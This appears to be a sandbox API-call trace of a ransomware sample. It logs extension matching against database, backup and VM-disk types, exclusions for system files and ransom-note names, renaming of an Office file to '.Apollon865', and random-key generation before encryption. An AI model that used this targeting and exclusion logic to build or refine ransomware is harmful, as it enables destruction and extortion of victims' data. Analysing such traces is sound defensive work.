	[0066.981] lstrlenW (lpString="ddl") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="ddl") returned 1
	[0066.981] lstrlenW (lpString="dlis") returned 4
	[0066.981] lstrcmpiW (lpString1=".DPV", lpString2="dlis") returned -1
	[0066.981] lstrlenW (lpString="dp1") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="dp1") returned 1
	[0066.981] lstrlenW (lpString="dqy") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="dqy") returned -1
	[0066.981] lstrlenW (lpString="dsk") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="dsk") returned -1
	[0066.981] lstrlenW (lpString="dsn") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="dsn") returned -1
	[0066.981] lstrlenW (lpString="dtsx") returned 4
	[0066.981] lstrcmpiW (lpString1=".DPV", lpString2="dtsx") returned -1
	[0066.981] lstrlenW (lpString="dxl") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="dxl") returned -1
	[0066.981] lstrlenW (lpString="eco") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="eco") returned -1
	[0066.981] lstrlenW (lpString="ecx") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="ecx") returned -1
	[0066.981] lstrlenW (lpString="edb") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="edb") returned -1
	[0066.981] lstrlenW (lpString="epim") returned 4
	[0066.981] lstrcmpiW (lpString1=".DPV", lpString2="epim") returned -1
	[0066.981] lstrlenW (lpString="fcd") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="fcd") returned -1
	[0066.981] lstrlenW (lpString="fdb") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="fdb") returned -1
	[0066.981] lstrlenW (lpString="fic") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="fic") returned -1
	[0066.981] lstrlenW (lpString="flexolibrary") returned 12
	[0066.981] lstrlenW (lpString="fm5") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="fm5") returned -1
	[0066.982] lstrlenW (lpString="fmp") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="fmp") returned -1
	[0066.982] lstrlenW (lpString="fmp12") returned 5
	[0066.982] lstrcmpiW (lpString1="D.DPV", lpString2="fmp12") returned -1
	[0066.982] lstrlenW (lpString="fmpsl") returned 5
	[0066.982] lstrcmpiW (lpString1="D.DPV", lpString2="fmpsl") returned -1
	[0066.982] lstrlenW (lpString="fol") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="fol") returned -1
	[0066.982] lstrlenW (lpString="fp3") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="fp3") returned -1
	[0066.982] lstrlenW (lpString="fp4") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="fp4") returned -1
	[0066.982] lstrlenW (lpString="fp5") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="fp5") returned -1
	[0066.982] lstrlenW (lpString="fp7") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="fp7") returned -1
	[0066.982] lstrlenW (lpString="fpt") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="fpt") returned -1
	[0066.982] lstrlenW (lpString="frm") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="frm") returned -1
	[0066.982] lstrlenW (lpString="gdb") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.982] lstrlenW (lpString="gdb") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.982] lstrlenW (lpString="grdb") returned 4
	[0066.982] lstrcmpiW (lpString1=".DPV", lpString2="grdb") returned -1
	[0066.982] lstrlenW (lpString="gwi") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="gwi") returned -1
	[0066.982] lstrlenW (lpString="hdb") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="hdb") returned -1
	[0066.982] lstrlenW (lpString="his") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="his") returned -1
	[0066.982] lstrlenW (lpString="ib") returned 2
	[0066.982] lstrcmpiW (lpString1="PV", lpString2="ib") returned 1
	[0066.982] lstrlenW (lpString="idb") returned 3
	[0066.982] lstrcmpiW (lpString1="DPV", lpString2="idb") returned -1
	[0066.982] lstrlenW (lpString="ihx") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="ihx") returned -1
	[0066.983] lstrlenW (lpString="itdb") returned 4
	[0066.983] lstrcmpiW (lpString1=".DPV", lpString2="itdb") returned -1
	[0066.983] lstrlenW (lpString="itw") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="itw") returned -1
	[0066.983] lstrlenW (lpString="jet") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="jet") returned -1
	[0066.983] lstrlenW (lpString="jtx") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="jtx") returned -1
	[0066.983] lstrlenW (lpString="kdb") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="kdb") returned -1
	[0066.983] lstrlenW (lpString="kexi") returned 4
	[0066.983] lstrcmpiW (lpString1=".DPV", lpString2="kexi") returned -1
	[0066.983] lstrlenW (lpString="kexic") returned 5
	[0066.983] lstrcmpiW (lpString1="D.DPV", lpString2="kexic") returned -1
	[0066.983] lstrlenW (lpString="kexis") returned 5
	[0066.983] lstrcmpiW (lpString1="D.DPV", lpString2="kexis") returned -1
	[0066.983] lstrlenW (lpString="lgc") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="lgc") returned -1
	[0066.983] lstrlenW (lpString="lwx") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="lwx") returned -1
	[0066.983] lstrlenW (lpString="maf") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="maf") returned -1
	[0066.983] lstrlenW (lpString="maq") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="maq") returned -1
	[0066.983] lstrlenW (lpString="mar") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="mar") returned -1
	[0066.983] lstrlenW (lpString="marshal") returned 7
	[0066.983] lstrcmpiW (lpString1="BRD.DPV", lpString2="marshal") returned -1
	[0066.983] lstrlenW (lpString="mas") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="mas") returned -1
	[0066.983] lstrlenW (lpString="mav") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="mav") returned -1
	[0066.983] lstrlenW (lpString="maw") returned 3
	[0066.983] lstrcmpiW (lpString1="DPV", lpString2="maw") returned -1
	[0066.983] lstrlenW (lpString="mdbhtml") returned 7
	[0066.984] lstrcmpiW (lpString1="BRD.DPV", lpString2="mdbhtml") returned -1
	[0066.984] lstrlenW (lpString="mdn") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="mdn") returned -1
	[0066.984] lstrlenW (lpString="mdt") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="mdt") returned -1
	[0066.984] lstrlenW (lpString="mfd") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="mfd") returned -1
	[0066.984] lstrlenW (lpString="mpd") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="mpd") returned -1
	[0066.984] lstrlenW (lpString="mrg") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="mrg") returned -1
	[0066.984] lstrlenW (lpString="mud") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="mud") returned -1
	[0066.984] lstrlenW (lpString="mwb") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="mwb") returned -1
	[0066.984] lstrlenW (lpString="myd") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="myd") returned -1
	[0066.984] lstrlenW (lpString="ndf") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="ndf") returned -1
	[0066.984] lstrlenW (lpString="nnt") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="nnt") returned -1
	[0066.984] lstrlenW (lpString="nrmlib") returned 6
	[0066.984] lstrcmpiW (lpString1="RD.DPV", lpString2="nrmlib") returned 1
	[0066.984] lstrlenW (lpString="ns2") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="ns2") returned -1
	[0066.984] lstrlenW (lpString="ns3") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="ns3") returned -1
	[0066.984] lstrlenW (lpString="ns4") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="ns4") returned -1
	[0066.984] lstrlenW (lpString="nsf") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="nsf") returned -1
	[0066.984] lstrlenW (lpString="nv") returned 2
	[0066.984] lstrcmpiW (lpString1="PV", lpString2="nv") returned 1
	[0066.984] lstrlenW (lpString="nv2") returned 3
	[0066.984] lstrcmpiW (lpString1="DPV", lpString2="nv2") returned -1
	[0066.984] lstrlenW (lpString="nwdb") returned 4
	[0066.984] lstrcmpiW (lpString1=".DPV", lpString2="nwdb") returned -1
	[0066.985] lstrlenW (lpString="nyf") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="nyf") returned -1
	[0066.985] lstrlenW (lpString="odb") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.985] lstrlenW (lpString="odb") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.985] lstrlenW (lpString="oqy") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="oqy") returned -1
	[0066.985] lstrlenW (lpString="ora") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="ora") returned -1
	[0066.985] lstrlenW (lpString="orx") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="orx") returned -1
	[0066.985] lstrlenW (lpString="owc") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="owc") returned -1
	[0066.985] lstrlenW (lpString="p96") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="p96") returned -1
	[0066.985] lstrlenW (lpString="p97") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="p97") returned -1
	[0066.985] lstrlenW (lpString="pan") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="pan") returned -1
	[0066.985] lstrlenW (lpString="pdb") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="pdb") returned -1
	[0066.985] lstrlenW (lpString="pdm") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="pdm") returned -1
	[0066.985] lstrlenW (lpString="pnz") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="pnz") returned -1
	[0066.985] lstrlenW (lpString="qry") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="qry") returned -1
	[0066.985] lstrlenW (lpString="qvd") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="qvd") returned -1
	[0066.985] lstrlenW (lpString="rbf") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="rbf") returned -1
	[0066.985] lstrlenW (lpString="rctd") returned 4
	[0066.985] lstrcmpiW (lpString1=".DPV", lpString2="rctd") returned -1
	[0066.985] lstrlenW (lpString="rod") returned 3
	[0066.985] lstrcmpiW (lpString1="DPV", lpString2="rod") returned -1
	[0066.986] lstrlenW (lpString="rodx") returned 4
	[0066.986] lstrcmpiW (lpString1=".DPV", lpString2="rodx") returned -1
	[0066.986] lstrlenW (lpString="rpd") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="rpd") returned -1
	[0066.986] lstrlenW (lpString="rsd") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="rsd") returned -1
	[0066.986] lstrlenW (lpString="sas7bdat") returned 8
	[0066.986] lstrcmpiW (lpString1="KBRD.DPV", lpString2="sas7bdat") returned -1
	[0066.986] lstrlenW (lpString="sbf") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="sbf") returned -1
	[0066.986] lstrlenW (lpString="scx") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="scx") returned -1
	[0066.986] lstrlenW (lpString="sdb") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="sdb") returned -1
	[0066.986] lstrlenW (lpString="sdc") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="sdc") returned -1
	[0066.986] lstrlenW (lpString="sdf") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="sdf") returned -1
	[0066.986] lstrlenW (lpString="sis") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="sis") returned -1
	[0066.986] lstrlenW (lpString="spq") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="spq") returned -1
	[0066.986] lstrlenW (lpString="te") returned 2
	[0066.986] lstrcmpiW (lpString1="PV", lpString2="te") returned -1
	[0066.986] lstrlenW (lpString="teacher") returned 7
	[0066.986] lstrcmpiW (lpString1="BRD.DPV", lpString2="teacher") returned -1
	[0066.986] lstrlenW (lpString="tmd") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="tmd") returned -1
	[0066.986] lstrlenW (lpString="tps") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="tps") returned -1
	[0066.986] lstrlenW (lpString="trc") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.986] lstrlenW (lpString="trc") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.986] lstrlenW (lpString="trm") returned 3
	[0066.986] lstrcmpiW (lpString1="DPV", lpString2="trm") returned -1
	[0066.986] lstrlenW (lpString="udb") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="udb") returned -1
	[0066.987] lstrlenW (lpString="udl") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="udl") returned -1
	[0066.987] lstrlenW (lpString="usr") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="usr") returned -1
	[0066.987] lstrlenW (lpString="v12") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="v12") returned -1
	[0066.987] lstrlenW (lpString="vis") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="vis") returned -1
	[0066.987] lstrlenW (lpString="vpd") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="vpd") returned -1
	[0066.987] lstrlenW (lpString="vvv") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="vvv") returned -1
	[0066.987] lstrlenW (lpString="wdb") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="wdb") returned -1
	[0066.987] lstrlenW (lpString="wmdb") returned 4
	[0066.987] lstrcmpiW (lpString1=".DPV", lpString2="wmdb") returned -1
	[0066.987] lstrlenW (lpString="wrk") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="wrk") returned -1
	[0066.987] lstrlenW (lpString="xdb") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="xdb") returned -1
	[0066.987] lstrlenW (lpString="xld") returned 3
	[0066.987] lstrcmpiW (lpString1="DPV", lpString2="xld") returned -1
	[0066.987] lstrlenW (lpString="xmlff") returned 5
	[0066.987] lstrcmpiW (lpString1="D.DPV", lpString2="xmlff") returned -1
	[0066.987] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ded00, ftCreationTime.dwHighDateTime=0x1c98d98, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa0ded00, ftLastWriteTime.dwHighDateTime=0x1c98d98, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGCHKBRD.XML", cAlternateFileName="")) returned 1
	[0066.987] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.987] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.987] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2=".") returned 1
	[0066.987] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="..") returned 1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="windows") returned -1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="bootmgr") returned 1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="temp") returned -1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="pagefile.sys") returned -1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="boot") returned 1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="ids.txt") returned -1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="ntuser.dat") returned -1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="perflogs") returned -1
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2="MSBuild") returned -1
	[0066.988] lstrlenW (lpString="DGCHKBRD.XML") returned 12
	[0066.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV") returned 62
	[0066.988] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGCHKBRD.XML" | out: lpString1="DGCHKBRD.XML") returned="DGCHKBRD.XML"
	[0066.988] lstrlenW (lpString="DGCHKBRD.XML") returned 12
	[0066.988] lstrlenW (lpString="Apollon865") returned 10
	[0066.988] lstrcmpiW (lpString1="CHKBRD.XML", lpString2="Apollon865") returned 1
	[0066.988] lstrlenW (lpString=".dll") returned 4
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2=".dll") returned 1
	[0066.988] lstrlenW (lpString=".lnk") returned 4
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2=".lnk") returned 1
	[0066.988] lstrlenW (lpString=".ini") returned 4
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2=".ini") returned 1
	[0066.988] lstrlenW (lpString=".sys") returned 4
	[0066.988] lstrcmpiW (lpString1="DGCHKBRD.XML", lpString2=".sys") returned 1
	[0066.988] lstrlenW (lpString="DGCHKBRD.XML") returned 12
	[0066.988] lstrlenW (lpString="bak") returned 3
	[0066.988] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0066.988] lstrlenW (lpString="ba_") returned 3
	[0066.988] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0066.988] lstrlenW (lpString="dbb") returned 3
	[0066.988] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0066.988] lstrlenW (lpString="vmdk") returned 4
	[0066.988] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0066.988] lstrlenW (lpString="rar") returned 3
	[0066.988] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0066.988] lstrlenW (lpString="zip") returned 3
	[0066.988] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0066.988] lstrlenW (lpString="tgz") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0066.989] lstrlenW (lpString="vbox") returned 4
	[0066.989] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0066.989] lstrlenW (lpString="vdi") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0066.989] lstrlenW (lpString="vhd") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0066.989] lstrlenW (lpString="vhdx") returned 4
	[0066.989] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0066.989] lstrlenW (lpString="avhd") returned 4
	[0066.989] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0066.989] lstrlenW (lpString="db") returned 2
	[0066.989] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0066.989] lstrlenW (lpString="db2") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0066.989] lstrlenW (lpString="db3") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0066.989] lstrlenW (lpString="dbf") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0066.989] lstrlenW (lpString="mdf") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0066.989] lstrlenW (lpString="mdb") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0066.989] lstrlenW (lpString="sql") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0066.989] lstrlenW (lpString="sqlite") returned 6
	[0066.989] lstrcmpiW (lpString1="RD.XML", lpString2="sqlite") returned -1
	[0066.989] lstrlenW (lpString="sqlite3") returned 7
	[0066.989] lstrcmpiW (lpString1="BRD.XML", lpString2="sqlite3") returned -1
	[0066.989] lstrlenW (lpString="sqlitedb") returned 8
	[0066.989] lstrcmpiW (lpString1="KBRD.XML", lpString2="sqlitedb") returned -1
	[0066.989] lstrlenW (lpString="xml") returned 3
	[0066.989] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0066.989] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML.Apollon865") returned 73
	[0066.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.999] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=670) returned 1
	[0066.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.000] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.001] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.001] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.001] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x100
	[0067.002] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x100000
	[0067.003] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.004] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.004] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0067.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0067.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2=".") returned 1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="..") returned 1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="windows") returned -1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="bootmgr") returned 1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="temp") returned -1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="pagefile.sys") returned -1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="boot") returned 1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="ids.txt") returned -1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="ntuser.dat") returned -1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="perflogs") returned -1
	[0067.005] lstrcmpiW (lpString1="DGCINFO.XML", lpString2="MSBuild") returned -1
	[0067.005] lstrlenW (lpString="DGCINFO.XML") returned 11
	[0067.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML") returned 62
	[0067.005] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGCINFO.XML" | out: lpString1="DGCINFO.XML") returned="DGCINFO.XML"
	[0067.005] lstrlenW (lpString="DGCINFO.XML") returned 11
	[0067.005] lstrlenW (lpString="Apollon865") returned 10
	[0067.006] lstrcmpiW (lpString1="GCINFO.XML", lpString2="Apollon865") returned 1
	[0067.006] lstrlenW (lpString=".dll") returned 4
	[0067.006] lstrcmpiW (lpString1="DGCINFO.XML", lpString2=".dll") returned 1
	[0067.006] lstrlenW (lpString=".lnk") returned 4
	[0067.006] lstrcmpiW (lpString1="DGCINFO.XML", lpString2=".lnk") returned 1
	[0067.006] lstrlenW (lpString=".ini") returned 4
	[0067.006] lstrcmpiW (lpString1="DGCINFO.XML", lpString2=".ini") returned 1
	[0067.006] lstrlenW (lpString=".sys") returned 4
	[0067.006] lstrcmpiW (lpString1="DGCINFO.XML", lpString2=".sys") returned 1
	[0067.006] lstrlenW (lpString="DGCINFO.XML") returned 11
	[0067.006] lstrlenW (lpString="bak") returned 3
	[0067.006] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.006] lstrlenW (lpString="ba_") returned 3
	[0067.006] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.006] lstrlenW (lpString="dbb") returned 3
	[0067.006] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.006] lstrlenW (lpString="vmdk") returned 4
	[0067.006] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.006] lstrlenW (lpString="rar") returned 3
	[0067.006] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.006] lstrlenW (lpString="zip") returned 3
	[0067.006] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.006] lstrlenW (lpString="tgz") returned 3
	[0067.006] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.006] lstrlenW (lpString="vbox") returned 4
	[0067.006] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.006] lstrlenW (lpString="vdi") returned 3
	[0067.006] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.006] lstrlenW (lpString="vhd") returned 3
	[0067.006] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.006] lstrlenW (lpString="vhdx") returned 4
	[0067.006] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.006] lstrlenW (lpString="avhd") returned 4
	[0067.006] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.006] lstrlenW (lpString="db") returned 2
